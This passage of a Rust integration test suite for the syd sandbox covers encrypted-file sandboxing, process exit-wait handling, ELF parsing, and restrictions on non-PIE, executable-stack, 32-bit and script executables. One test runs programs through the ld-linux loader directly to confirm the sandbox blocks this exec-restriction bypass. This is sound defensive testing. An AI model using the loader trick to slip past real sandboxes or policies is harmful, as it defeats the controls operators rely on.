    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(4 * 128):
    print(num)
EOF

python primegen.py > primes.lst
split -d -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) )) primes.lst prime-split-

dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
    while read -r -d$'\n' num; do
        dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_aes_huge_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16000057 count=3 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_aes_huge_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_exit_wait_default() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .argv(["bash", "-xc"])
        .arg(
            r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Ensure the file is empty.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_default_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["bash", "-xc"])
        .arg(
            r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Ensure the file is empty.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_pid() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/exit_wait_all:0")
        .argv(["bash", "-xc"])
        .arg(
            r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Ensure the file is empty.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_pid_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/exit_wait_all:0")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["bash", "-xc"])
        .arg(
            r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Ensure the file is empty.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_pid_with_runaway_cmd_exec_process() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/exit_wait_all:0")
        .argv(["bash", "-xc"])
        .arg(format!(
            "
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -x
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 INSIDE &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 10 OUT)\"
disown
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Wait for the runaway process to change the file.
    eprintln!("Waiting for 20 seconds for the runaway process to write to the file...");
    sleep(Duration::from_secs(20));

    // Ensure the file is of correct size.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_pid_unsafe_ptrace_with_runaway_cmd_exec_process() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/exit_wait_all:0")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["bash", "-xc"])
        .arg(format!(
            "
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -x
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 INSIDE &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 10 OUT)\"
disown
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Wait for the runaway process to change the file.
    eprintln!("Waiting for 20 seconds for the runaway process to write to the file...");
    sleep(Duration::from_secs(20));

    // Ensure the file is of correct size.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_all() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/exit_wait_all:1")
        .argv(["bash", "-xc"])
        .arg(
            r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Ensure the file is of correct size.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 7, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_all_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/exit_wait_all:1")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["bash", "-xc"])
        .arg(
            r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Ensure the file is of correct size.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 7, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_all_with_runaway_cmd_exec_process() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/exit_wait_all:1")
        .argv(["bash", "-xc"])
        .arg(format!(
            "
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -x
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 INSIDE &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 10 OUT)\"
disown
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Wait for the runaway process to change the file.
    eprintln!("Waiting for 20 seconds for the runaway process to write to the file...");
    sleep(Duration::from_secs(20));

    // Ensure the file is of correct size.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_all_unsafe_ptrace_with_runaway_cmd_exec_process() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/exit_wait_all:1")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["bash", "-xc"])
        .arg(format!(
            "
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -x
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 INSIDE &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 10 OUT)\"
disown
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Wait for the runaway process to change the file.
    eprintln!("Waiting for 20 seconds for the runaway process to write to the file...");
    sleep(Duration::from_secs(20));

    // Ensure the file is of correct size.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_cli_args_override_user_profile() -> TestResult {
    skip_unless_available!("sh");

    let _ = unlink(".user.syd-3");
    let mut file = File::create(".user.syd-3").expect("Failed to create .user.syd-3");
    file.write_all(b"mem/max:4242\npid/max:2525\n")
        .expect("Failed to write to .user.syd-3");

    #[allow(clippy::zombie_processes)]
    let mut child = syd()
        .m("pid/max:4242")
        .m("stat")
        .c("true")
        .stderr(Stdio::piped())
        .spawn()
        .expect("execute syd");

    // Read the output from the child process
    let child_stderr = child.stderr.as_mut().expect("child stderr");
    let mut reader = BufReader::new(child_stderr);
    let mut output = String::new();
    if let Err(error) = reader.read_to_string(&mut output) {
        return Err(TestError(format!(
            "Failed to read output of child process: {error}"
        )));
    }

    // Wait for the process to exit.
    child.wait().expect("wait for syd");

    print!("Child output:\n{output}");
    assert!(output.contains("Pid Max: 4242"));
    //This may fail if the site-wide config file has lock:on.
    //assert!(output.contains("Memory Max: 4242"));

    Ok(())
}

fn test_syd_ifconfig_lo_bare() -> TestResult {
    let status = syd()
        .p("off")
        .do_("ifconfig_lo", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_ifconfig_lo_wrap() -> TestResult {
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/net:1")
        .do_("ifconfig_lo", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_parse_elf_native() -> TestResult {
    skip_unless_available!("cc", "sh", "getconf");

    let syd_elf = &SYD_ELF.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(format!(
            r##"
#!/bin/sh
set -ex

bit=$(getconf LONG_BIT)

cat > hello.c <<EOF
int main() {{
    return 0;
}}
EOF

# Step 1: Compile dynamic PIE executable.
cc -o hello-pie -fPIE -pie hello.c || exit 128

# Step 2: Compile dynamic PIE executable with executable stack.
cc -o hello-pie-xs -fPIE -pie -zexecstack hello.c || exit 128

# Step 3: Compile static non-PIE executable.
cc -o hello-static -static hello.c || exit 128

# Step 4: Compile static non-PIE executable with executable stack.
cc -o hello-static-xs -static -zexecstack hello.c || exit 128

# Step 5: Compile dynamic executable without PIE.
cc -o hello-dynamic -no-pie hello.c || exit 128

# Step 6: Compile dynamic executable without PIE and with executable stack.
cc -o hello-dynamic-xs -no-pie -zexecstack hello.c || exit 128

# Step 7: Compile static PIE executable.
cc -o hello-static-pie -static-pie hello.c || exit 128

# Step 8: Compile static PIE executable with executable stack.
cc -o hello-static-pie-xs -static-pie -zexecstack hello.c || exit 128

# Verify ELF file types.
for file in hello-*; do
    OUT=$({syd_elf} "$file")
    echo "$file: $OUT"
    case "$file" in
    hello-pie)
        EXP="exe${{bit}}-dynamic-pie"
        ;;
    hello-pie-xs)
        EXP="exe${{bit}}-dynamic-pie-xs"
        ;;
    hello-static)
        EXP="exe${{bit}}-static"
        ;;
    hello-static-xs)
        EXP="exe${{bit}}-static-xs"
        ;;
    hello-dynamic)
        EXP="exe${{bit}}-dynamic"
        ;;
    hello-dynamic-xs)
        EXP="exe${{bit}}-dynamic-xs"
        ;;
    hello-static-pie)
        EXP="exe${{bit}}-static-pie"
        ;;
    hello-static-pie-xs)
        EXP="exe${{bit}}-static-pie-xs"
        ;;
    esac
    echo "$OUT" | grep -q "$EXP" || {{ echo "Unexpected output for $file: $OUT (expected $EXP)"; exit 1; }}
done

echo "All ELF file checks passed."
    "##))
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_parse_elf_32bit() -> TestResult {
    skip_unless_bitness!("64");
    skip_unless_available!("cc", "sh", "getconf");

    let syd_elf = &SYD_ELF.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(format!(
            r##"
#!/bin/sh
set -ex

bit=32

cat > hello.c <<EOF
int main() {{
    return 0;
}}
EOF

# Step 1: Compile dynamic PIE executable.
cc -m32 -o hello-pie -fPIE -pie hello.c || exit 128

# Step 2: Compile dynamic PIE executable with executable stack.
cc -m32 -o hello-pie-xs -fPIE -pie -zexecstack hello.c || exit 128

# Step 3: Compile static non-PIE executable.
cc -m32 -o hello-static -static hello.c || exit 128

# Step 4: Compile static non-PIE executable with executable stack.
cc -m32 -o hello-static-xs -static -zexecstack hello.c || exit 128

# Step 5: Compile dynamic executable without PIE.
cc -m32 -o hello-dynamic -no-pie hello.c || exit 128

# Step 6: Compile dynamic executable without PIE and with executable stack.
cc -m32 -o hello-dynamic-xs -no-pie -zexecstack hello.c || exit 128

# Step 7: Compile static PIE executable.
cc -m32 -o hello-static-pie -static-pie hello.c || exit 128

# Step 8: Compile static PIE executable with executable stack.
cc -m32 -o hello-static-pie-xs -static-pie -zexecstack hello.c || exit 128

# Verify ELF file types.
for file in hello-*; do
    OUT=$({syd_elf} "$file")
    echo "$file: $OUT"
    case "$file" in
    hello-pie)
        EXP="exe${{bit}}-dynamic-pie"
        ;;
    hello-pie-xs)
        EXP="exe${{bit}}-dynamic-pie-xs"
        ;;
    hello-static)
        EXP="exe${{bit}}-static"
        ;;
    hello-static-xs)
        EXP="exe${{bit}}-static-xs"
        ;;
    hello-dynamic)
        EXP="exe${{bit}}-dynamic"
        ;;
    hello-dynamic-xs)
        EXP="exe${{bit}}-dynamic-xs"
        ;;
    hello-static-pie)
        EXP="exe${{bit}}-static-pie"
        ;;
    hello-static-pie-xs)
        EXP="exe${{bit}}-static-pie-xs"
        ;;
    esac
    echo "$OUT" | grep -q "$EXP" || {{ echo "Unexpected output for $file: $OUT (expected $EXP)"; exit 1; }}
done

echo "All ELF file checks passed."
    "##))
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_parse_elf_path() -> TestResult {
    skip_unless_available!("sh");

    let syd_elf = &SYD_ELF.to_string();
    let status = Command::new("sh")
        .arg("-c")
        .arg(format!(
            r##"
IFS=:
set -- $PATH
r=0
for path; do
    for file in "$path"/*; do
        if ! {syd_elf} "$file"; then
            test $? -gt 1 && r=1
            echo >&2 "error parsing file: $file"
        fi
    done
done
exit $r
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_deny_elf32() -> TestResult {
    skip_if_strace!();
    skip_unless_bitness!("64");
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc -m32 exit.c -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
./exit || exit 1
test -c /dev/syd/trace/deny_elf32:1 || exit 2
./exit && exit 3
test -c /dev/syd/trace/deny_elf32:0 || exit 2
./exit || exit 4
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_deny_elf_dynamic() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
./exit || exit 1
test -c /dev/syd/trace/deny_elf_dynamic:1 || exit 2
./exit && exit 3
test -c /dev/syd/trace/deny_elf_dynamic:0 || exit 2
./exit || exit 4
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_deny_elf_static() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -o exit -static
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
./exit || exit 1
test -c /dev/syd/trace/deny_elf_static:1 || exit 2
./exit && exit 3
test -c /dev/syd/trace/deny_elf_static:0 || exit 2
./exit || exit 4
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_deny_script() -> TestResult {
    skip_unless_available!("sh");

    syd::fs::cat("script", "#!/bin/sh\nexit 42")?;
    syd::fs::chmod_x("script")?;

    // Scripts are allowed by default.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["./script"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    // Scripts are denied with deny_script:1.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("trace/deny_script:1")
        .argv(["./script"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_prevent_ld_linux_exec_break() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash");

    // Shared library execution is denied by default.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
# Careful, ld-linux path differs on glibc and musl.
find /lib{64,}/ -maxdepth 2 -executable -type f -name 'ld*.so.*' -print0 > ld.lst
while read -r -d $'\0' f; do
    if test -x "${f}"; then
        exec "${f}" /bin/true
        exit 127
    fi
done < ld.lst
echo >&2 "ld.so not found"
exit 127
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_code!(status, 126);

    // Shared library execution is allowed with allow_unsafe_ptrace.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
# Careful, ld-linux path differs on glibc and musl.
find /lib{64,}/ -maxdepth 2 -executable -type f -name 'ld*.so.*' -print0 > ld.lst
while read -r -d $'\0' f; do
    if test -x "${f}"; then
        exec "${f}" /bin/true
        exit 127
    fi
done < ld.lst
echo >&2 "ld.so not found"
exit 127
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_enforce_pie_dynamic() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -no-pie -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
# SAFETY: Integration test suite sets unsafe_nopie:1
test -c /dev/syd/trace/allow_unsafe_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_nopie:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_nopie:0 || exit 4
./exit && exit 5
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_enforce_pie_static() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -static -no-pie -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
# SAFETY: Integration test suite sets unsafe_nopie:1
test -c /dev/syd/trace/allow_unsafe_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_nopie:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_nopie:0 || exit 4
./exit && exit 5
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_enforce_execstack_dynamic() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -fPIE -pie -zexecstack -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
# SAFETY: Integration test suite sets unsafe_nopie:1
test -c /dev/syd/trace/allow_unsafe_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_stack:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_stack:0 || exit 4
./exit && exit 5
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_enforce_execstack_static() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -static-pie -zexecstack -o exit
test $? -eq 0 || exit 128
# SAFETY: Integration test suite sets unsafe_nopie:1
test -c /dev/syd/trace/allow_unsafe_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_stack:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_stack:0 || exit 4
./exit && exit 5
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_enforce_execstack_nested_routine() -> TestResult {
    skip_if_strace!();
    if !check_nested_routines() {
        // Nested routines not supported.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Executable stack is disabled by default.
    let status = syd()
        .p("off")
        .args(["./nested", "0"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    // The restriction may be relaxed with trace/allow_unsafe_stack:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_stack:1")
        .args(["./nested", "0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_enforce_execstack_self_modifying() -> TestResult {
    skip_if_strace!();
    if !check_self_modifying_xs() {
        // Self-modifying code not supported on this arch.
